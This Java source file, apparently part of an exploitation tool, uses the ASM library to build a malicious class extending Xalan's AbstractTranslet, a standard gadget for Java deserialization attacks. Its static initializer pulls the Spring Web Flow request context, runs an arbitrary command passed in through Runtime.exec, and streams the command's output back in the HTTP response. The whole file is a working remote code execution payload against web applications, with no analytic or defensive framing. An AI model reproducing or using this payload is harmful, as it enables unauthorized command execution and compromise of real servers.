package payloads.exploitType;

import java.util.*;

import org.objectweb.asm.*;

public class exploitDump implements Opcodes {

    public static byte[] dump(String cmd) throws Exception {

        ClassWriter cw = new ClassWriter(0);
        FieldVisitor fv;
        MethodVisitor mv;
        AnnotationVisitor av0;

        cw.visit(V1_7, ACC_PUBLIC + ACC_SUPER, "exploit", null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", new String[]{"java/io/Serializable"});

        cw.visitSource("exploit.java", null);

        {
            mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
            mv.visitCode();
            Label l0 = new Label();
            mv.visitLabel(l0);
            mv.visitLineNumber(21, l0);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
            Label l1 = new Label();
            mv.visitLabel(l1);
            mv.visitLineNumber(22, l1);
            mv.visitInsn(RETURN);
            Label l2 = new Label();
            mv.visitLabel(l2);
            mv.visitLocalVariable("this", "Lexploit;", null, l0, l2, 0);
            mv.visitMaxs(1, 1);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
            mv.visitCode();
            Label l0 = new Label();
            mv.visitLabel(l0);
            mv.visitLineNumber(27, l0);
            mv.visitInsn(RETURN);
            Label l1 = new Label();
            mv.visitLabel(l1);
            mv.visitLocalVariable("this", "Lexploit;", null, l0, l1, 0);
            mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
            mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
            mv.visitMaxs(0, 3);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
            mv.visitCode();
            Label l0 = new Label();
            mv.visitLabel(l0);
            mv.visitLineNumber(32, l0);
            mv.visitInsn(RETURN);
            Label l1 = new Label();
            mv.visitLabel(l1);
            mv.visitLocalVariable("this", "Lexploit;", null, l0, l1, 0);
            mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
            mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
            mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
            mv.visitMaxs(0, 4);
            mv.visitEnd();
        }
        {
            mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
            mv.visitCode();
            Label l0 = new Label();
            Label l1 = new Label();
            Label l2 = new Label();
            mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
            mv.visitLabel(l0);
            mv.visitLineNumber(36, l0);
            mv.visitMethodInsn(INVOKESTATIC, "org/springframework/webflow/context/ExternalContextHolder", "getExternalContext", "()Lorg/springframework/webflow/context/ExternalContext;", false);
            mv.visitVarInsn(ASTORE, 0);
            Label l3 = new Label();
            mv.visitLabel(l3);
            mv.visitLineNumber(37, l3);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEINTERFACE, "org/springframework/webflow/context/ExternalContext", "getNativeRequest", "()Ljava/lang/Object;", true);
            mv.visitVarInsn(ASTORE, 1);
            Label l4 = new Label();
            mv.visitLabel(l4);
            mv.visitLineNumber(38, l4);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEINTERFACE, "org/springframework/webflow/context/ExternalContext", "getNativeResponse", "()Ljava/lang/Object;", true);
            mv.visitVarInsn(ASTORE, 2);
            Label l5 = new Label();
            mv.visitLabel(l5);
            mv.visitLineNumber(39, l5);
            mv.visitVarInsn(ALOAD, 1);
            mv.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletRequest");
            mv.visitVarInsn(ASTORE, 3);
            Label l6 = new Label();
            mv.visitLabel(l6);
            mv.visitLineNumber(40, l6);
            mv.visitVarInsn(ALOAD, 2);
            mv.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletResponse");
            mv.visitVarInsn(ASTORE, 4);
            Label l7 = new Label();
            mv.visitLabel(l7);
            mv.visitLineNumber(41, l7);
            mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
            mv.visitLdcInsn(cmd);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
            mv.visitVarInsn(ASTORE, 5);
            Label l8 = new Label();
            mv.visitLabel(l8);
            mv.visitLineNumber(42, l8);
            mv.visitVarInsn(ALOAD, 5);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
            mv.visitVarInsn(ASTORE, 6);
            Label l9 = new Label();
            mv.visitLabel(l9);
            mv.visitLineNumber(43, l9);
            mv.visitTypeInsn(NEW, "java/io/InputStreamReader");
            mv.visitInsn(DUP);
            mv.visitVarInsn(ALOAD, 6);
            mv.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
            mv.visitVarInsn(ASTORE, 7);
            Label l10 = new Label();
            mv.visitLabel(l10);
            mv.visitLineNumber(44, l10);
            mv.visitTypeInsn(NEW, "java/io/BufferedReader");
            mv.visitInsn(DUP);
            mv.visitVarInsn(ALOAD, 7);
            mv.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
            mv.visitVarInsn(ASTORE, 8);
            Label l11 = new Label();
            mv.visitLabel(l11);
            mv.visitLineNumber(45, l11);
            mv.visitLdcInsn("hello--");
            mv.visitVarInsn(ASTORE, 9);
            Label l12 = new Label();
            mv.visitLabel(l12);
            mv.visitLineNumber(46, l12);
            mv.visitVarInsn(ALOAD, 4);
            mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletResponse", "getOutputStream", "()Ljavax/servlet/ServletOutputStream;", true);
            mv.visitVarInsn(ASTORE, 10);
            Label l13 = new Label();
            mv.visitLabel(l13);
            mv.visitLineNumber(48, l13);
            mv.visitFrame(Opcodes.F_FULL, 11, new Object[]{"org/springframework/webflow/context/ExternalContext", "java/lang/Object", "java/lang/Object", "javax/servlet/http/HttpServletRequest", "javax/servlet/http/HttpServletResponse", "java/lang/Process", "java/io/InputStream", "java/io/InputStreamReader", "java/io/BufferedReader", "java/lang/String", "javax/servlet/ServletOutputStream"}, 0, new Object[]{});
            mv.visitVarInsn(ALOAD, 8);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
            mv.visitInsn(DUP);
            mv.visitVarInsn(ASTORE, 9);
            Label l14 = new Label();
            mv.visitJumpInsn(IFNULL, l14);
            Label l15 = new Label();
            mv.visitLabel(l15);
            mv.visitLineNumber(49, l15);
            mv.visitVarInsn(ALOAD, 10);
            mv.visitVarInsn(ALOAD, 9);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
            mv.visitMethodInsn(INVOKEVIRTUAL, "javax/servlet/ServletOutputStream", "write", "([B)V", false);
            mv.visitJumpInsn(GOTO, l13);
            mv.visitLabel(l14);
            mv.visitLineNumber(52, l14);
            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
            mv.visitFieldInsn(GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
            mv.visitLdcInsn("=========================");
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
            Label l16 = new Label();
            mv.visitLabel(l16);
            mv.visitLineNumber(53, l16);
            mv.visitVarInsn(ALOAD, 10);
            mv.visitMethodInsn(INVOKEVIRTUAL, "javax/servlet/ServletOutputStream", "flush", "()V", false);
            mv.visitLabel(l1);
            mv.visitLineNumber(56, l1);
            Label l17 = new Label();
            mv.visitJumpInsn(GOTO, l17);
            mv.visitLabel(l2);
            mv.visitLineNumber(54, l2);
            mv.visitFrame(Opcodes.F_FULL, 0, new Object[]{}, 1, new Object[]{"java/lang/Exception"});
            mv.visitVarInsn(ASTORE, 0);
            Label l18 = new Label();
            mv.visitLabel(l18);
            mv.visitLineNumber(55, l18);
            mv.visitVarInsn(ALOAD, 0);
            mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
            mv.visitLabel(l17);
            mv.visitLineNumber(58, l17);
            mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
            mv.visitInsn(RETURN);
            mv.visitLocalVariable("externalContext", "Lorg/springframework/webflow/context/ExternalContext;", null, l3, l1, 0);
            mv.visitLocalVariable("request", "Ljava/lang/Object;", null, l4, l1, 1);
            mv.visitLocalVariable("response", "Ljava/lang/Object;", null, l5, l1, 2);
            mv.visitLocalVariable("httpServletRequest", "Ljavax/servlet/http/HttpServletRequest;", null, l6, l1, 3);
            mv.visitLocalVariable("httpServletResponse", "Ljavax/servlet/http/HttpServletResponse;", null, l7, l1, 4);
            mv.visitLocalVariable("p", "Ljava/lang/Process;", null, l8, l1, 5);
            mv.visitLocalVariable("fis", "Ljava/io/InputStream;", null, l9, l1, 6);
            mv.visitLocalVariable("isr", "Ljava/io/InputStreamReader;", null, l10, l1, 7);
            mv.visitLocalVariable("br", "Ljava/io/BufferedReader;", null, l11, l1, 8);
            mv.visitLocalVariable("line", "Ljava/lang/String;", null, l12, l1, 9);
            mv.visitLocalVariable("servletOutputStream", "Ljavax/servlet/ServletOutputStream;", null, l13, l1, 10);
            mv.visitLocalVariable("var11", "Ljava/lang/Exception;", null, l18, l17, 0);
            mv.visitMaxs(3, 11);
            mv.visitEnd();
        }
        cw.visitEnd();

        return cw.toByteArray();
    }
}
